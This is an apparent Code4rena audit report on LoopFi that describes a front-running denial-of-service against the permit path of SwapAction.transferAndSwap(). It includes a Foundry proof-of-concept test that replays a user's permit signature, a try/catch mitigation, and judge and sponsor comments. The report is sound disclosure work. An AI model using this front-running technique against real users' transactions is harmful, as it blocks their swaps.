DOS attack to SwapAction.transferAndSwap() when using an ERC20 permit transferFrom.

[howlbot-integration]

Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/proxy/TransferAction.sol#L65-L77

Vulnerability details

Impact

Detailed description of the impact of this finding.
SwapAction.transferAndSwap() will perform a _transferFrom to transfer the input tokens to the user proxy and then perform a swap via a router.
When it uses an ERC20 permit transferFrom, an attacker can extract the v, r, s from the safePermit() call and frontruns it with a direct safePermit() with the same arguments. As a result, SwapAction.transferAndSwap() will fail due to the advancing of nonce. Effectively, this is a DOS attack.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

First, SwapAction.transferAndSwap() will perform a _transferFrom to transfer the input tokens to the user proxy and then perform a swap via a router.

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/proxy/SwapAction.sol#L93C14-L103

Second, _transferFrom has three cases: permit2, permit or standard transferFrom:

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/proxy/TransferAction.sol#L46-L82

The vulnerability lies in the second case, there are two parts: 1) call token.safePermit(); 2) call token.safeTransferFrom. The first component will set the proper allowance when successful.

The problem is that an attacker can observe the mempool and extract the v, r, s from the safePermit() call and frontruns it with a direct safePermit() with the same arguments. As a result, the _transferFrom and thus SwapAction.transferAndSwap() will fail due to the advancement of the nonce.

This permit DOS attack has been reported by Immunifi earlier: https://www.trust-security.xyz/post/permission-denied

The following POC confirms the finding:

1. We simulate the front-running by calling USDC.SafePermit() right before the call of userProxy.execute().

2. The result shows we have the right allowance but SwapAction.transferAndSwap() fails due to wrong verification of signature since the nonce has increased by 1.

run forge test --match-test testSwapDOS -vv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Test} from "forge-std/Test.sol";
import "forge-std/console2.sol";

import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {IERC20Permit} from "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";


import {PRBProxyRegistry} from "prb-proxy/PRBProxyRegistry.sol";
import {PRBProxy} from "prb-proxy/PRBProxy.sol";

import {ISignatureTransfer} from "permit2/interfaces/ISignatureTransfer.sol";

import {IUniswapV3Router, decodeLastToken, UniswapV3Router_decodeLastToken_invalidPath} from "../../vendor/IUniswapV3Router.sol";
import {IVault as IBalancerVault} from "../../vendor/IBalancerVault.sol";

import {PermitMaker} from "../utils/PermitMaker.sol";

import {ApprovalType, PermitParams} from "../../proxy/TransferAction.sol";
import {SwapAction, SwapParams, SwapType, SwapProtocol} from "../../proxy/SwapAction.sol";
import {IPActionAddRemoveLiqV3} from "pendle/interfaces/IPActionAddRemoveLiqV3.sol";



contract SwapActionTest is Test {
    using SafeERC20 for ERC20;
    using SafeERC20 for IERC20Permit;

    SwapAction internal swapAction;

    // user and permit2 related variables
    PRBProxy internal userProxy;
    PRBProxy internal bobProxy;
    uint256 internal userPk;
    address internal user;
    address Bob = makeAddr("Bob");
    uint256 internal constant NONCE = 0;

    // swap protocols
    address internal constant ONE_INCH = 0x1111111254EEB25477B68fb85Ed929f73A960582;
    address internal constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
    address internal constant UNISWAP_V3 = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
    address internal constant PENDLE_ROUTER= 0x00000000005BBB0EF59571E58418F9a4357b68A0;

    // Permit2
    ISignatureTransfer internal constant permit2 = ISignatureTransfer(0x000000000022D473030F116dDEE9F6B43aC78BA3);
    // https://etherscan.io/address/0x000000000022d473030f116ddee9f6b43ac78ba3#code

    // tokens
    ERC20 internal constant DAI = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    ERC20 internal constant USDC = ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    ERC20 internal constant WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    ERC20 internal constant BOND = ERC20(0x0391D2021f89DC339F60Fff84546EA23E337750f);
    ERC20 internal constant BAL = ERC20(0xba100000625a3754423978a60c9317c58a424e3D);

    // Chainlink oracles
    IPriceFeed internal constant DAI_ETH_FEED = IPriceFeed(0x773616E4d11A78F511299002da57A0a94577F1f4); // DAI:ETH
    IPriceFeed internal constant USDC_ETH_FEED = IPriceFeed(0x986b5E1e1755e3C2440e960477f25201B0a8bbD4); // USDC:ETH
    IPriceFeed internal constant BAL_USD_FEED = IPriceFeed(0xdF2917806E30300537aEB49A7663062F4d1F2b5F); // BAL:USD

    // uni v3
    IUniswapV3Router univ3Router = IUniswapV3Router(UNISWAP_V3);
    bytes internal constant DAI_USDC_PATH = abi.encodePacked(address(DAI), uint24(100), address(USDC));
    bytes internal constant DAI_WETH_BOND_PATH =
        abi.encodePacked(address(DAI), uint24(3000), address(WETH), uint24(3000), address(BOND));
    bytes internal constant DAI_WETH_USDC_PATH =
        abi.encodePacked(address(DAI), uint24(3000), address(WETH), uint24(3000), address(USDC));

    // Balancer
    bytes32 internal constant wethDaiPoolId = 0x0b09dea16768f0799065c475be02919503cb2a3500020000000000000000001a;
    bytes32 internal constant balWethPoolId = 0x5c6ee304399dbdb9c8ef030ab642b10820db8f56000200000000000000000014;
    // USDC, DAI, USDT StablePool
    bytes32 internal constant balancerStablePoolId = 0x06df3b2bbb68adc8b0e302443692037ed9f91b42000000000000000000000063;
    IBalancerVault internal constant balancerVault = IBalancerVault(BALANCER_VAULT);

    function setUp() public {
        vm.createSelectFork(vm.rpcUrl("mainnet"), 17055414); // 15/04/2023 20:43:00 UTC

        swapAction = new SwapAction(balancerVault, univ3Router, IPActionAddRemoveLiqV3(PENDLE_ROUTER));

        userPk = 0x12341234;
        user = vm.addr(userPk);

        PRBProxyRegistry prbProxyRegistry = new PRBProxyRegistry();                         // 1 
        userProxy = PRBProxy(payable(address(prbProxyRegistry.deployFor(user))));
        console2.log("a userProxy has been created for user: ", address(userProxy));

        bobProxy = PRBProxy(payable(address(prbProxyRegistry.deployFor(Bob))));
        console2.log("a userProxy has been created for Bob: ", address(bobProxy));

        // set allowance for permit2 transfers
        vm.startPrank(user);
        DAI.approve(address(permit2), type(uint256).max);        // permi2 will verify signature and move funds
        USDC.approve(address(permit2), type(uint256).max);        // everybody gives permit2 approval first, and then enforce security via permit2
        vm.stopPrank();

        vm.startPrank(Bob);
        DAI.approve(address(permit2), type(uint256).max);        // permi2 will verify signature and move funds
        USDC.approve(address(permit2), type(uint256).max);        // everybody gives permit2 approval first, and then enforce security via permit2
        vm.stopPrank();

        vm.label(address(WETH), "WETH");
        vm.label(address(USDC), "USDC");
        vm.label(address(DAI), "DAI");
        vm.label(address(BOND), "BOND");
        vm.label(address(permit2), "permit2");
        vm.label(address(userProxy), "userProxy");
        vm.label(address(user), "user");
    }

    
    function printBalances(address a, string memory name) public{
        console2.log("\n =================================================");
        console2.log("Balances for ", name);
        console2.log("DAI balance: ", DAI.balanceOf(a));
        console2.log("USDC token balance: ", USDC.balanceOf(a));
        console2.log("BOND token balance: ", BOND.balanceOf(a));
        console2.log("=================================================\n ");
    }

    function testSwapDOS() public {
        console2.log("\n \n swap3---------------------------------------------");   // usdc -> DAI
        uint256 amountOut = 1_000 * 1e18; // amount out of DAI we expect
        uint256 amountInMax = (amountOut * 102) / 100e12; // allow 2% slippage
        deal(address(USDC), user, amountInMax);

        printBalances(user, "user");


        // get permit signature
        uint256 deadline = block.timestamp + 100;
        (uint8 v, bytes32 r, bytes32 s) = PermitMaker.getPermitTransferFromSignature(
            address(USDC),
            address(userProxy),           // spender of the permit
            amountInMax,           // approval amount
            NONCE,
            deadline,
            userPk
        );

        PermitParams memory permitParams = PermitParams({
            approvalType: ApprovalType.PERMIT,
            approvalAmount: amountInMax,
            nonce: NONCE,
            deadline: deadline,
            v: v,
            r: r,
            s: s
        });

        // construct swap params
        SwapParams memory swapParams = SwapParams({
            swapProtocol: SwapProtocol.UNIV3,
            swapType: SwapType.EXACT_OUT,
            assetIn: address(USDC),
            amount: amountOut,
            limit: amountInMax,
            recipient: user,
            deadline: deadline,
            args: DAI_USDC_PATH
        });

        console2.log("user: ", user);
        console2.log("userProxy: ", address(userProxy));
        console2.log("approvalAmount: ", amountInMax);
        console2.log("deadline: ", deadline);

        console2.log("allowance: ", USDC.allowance(user, address(userProxy)));

       
        
        
        console2.log("USDC: ", address(USDC));
        // simulate front-running of calling safePermit()
        IERC20Permit(address(USDC)).safePermit(
                user,
                address(userProxy),  // spender             
                amountInMax,
                deadline,
                v,
                r,
                s
            );

        console2.log("allowance: ", USDC.allowance(user, address(userProxy)));

         
        
        vm.prank(user);
        vm.expectRevert("EIP2612: invalid signature");
        bytes memory response = userProxy.execute(
            address(swapAction),
            abi.encodeWithSelector(swapAction.transferAndSwap.selector, user, permitParams, swapParams)
        );
        // uint256 amountIn = abi.decode(response, (uint256));

    }
}

Tools Used

Foundry

Recommended Mitigation Steps

Change the logic to either there is sufficient allowance or the safePermit succeeds using a try-catch clause:

function _transferFrom(
        address token,
        address from,
        address to,
        uint256 amount,
        PermitParams memory params
    ) internal {
        if (params.approvalType == ApprovalType.PERMIT2) {
            // Consume a permit2 message and transfer tokens.
            ISignatureTransfer(permit2).permitTransferFrom(
                ISignatureTransfer.PermitTransferFrom({
                    permitted: ISignatureTransfer.TokenPermissions({token: token, amount: params.approvalAmount}),
                    nonce: params.nonce,
                    deadline: params.deadline
                }),
                ISignatureTransfer.SignatureTransferDetails({to: to, requestedAmount: amount}),
                from,
                bytes.concat(params.r, params.s, bytes1(params.v)) // Construct signature
            );
        } else if (params.approvalType == ApprovalType.PERMIT) {
            // Consume a standard ERC20 permit message
            try
IERC20Permit(token).safePermit(
                from,
                to,
                params.approvalAmount,
                params.deadline,
                params.v,
                params.r,
                params.s
            ){}
            catch{
                if(IERC20(token).allowance(from, to) < params.approvalAmount) 
                 revert("not enough allowance");
            }
            IERC20(token).safeTransferFrom(from, to, amount);
        } else {
            // No signature provided, just transfer tokens.
            IERC20(token).safeTransferFrom(from, to, amount);
        }
    }

Assessed type

DoS

[koolexcrypto]

please remove the placeholders next time.

Detailed description of the impact of this finding.

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

[c4-judge]

koolexcrypto marked the issue as satisfactory

[koolexcrypto]

Is this a permanent DoS? please answer in PJQA. severity might change

[c4-judge]

koolexcrypto marked the issue as selected for report

[amarcu]

The transfer action also supports regular transfers, so if a user is constantly getting frontrun we can skip the permit and use the regular allowance/transfer flow. There is no reason to add the fallback mechanism for the allowance check because if we had that in the first place we could skip permits altogether. Also making the allowance mandatory makes permit calls redundant.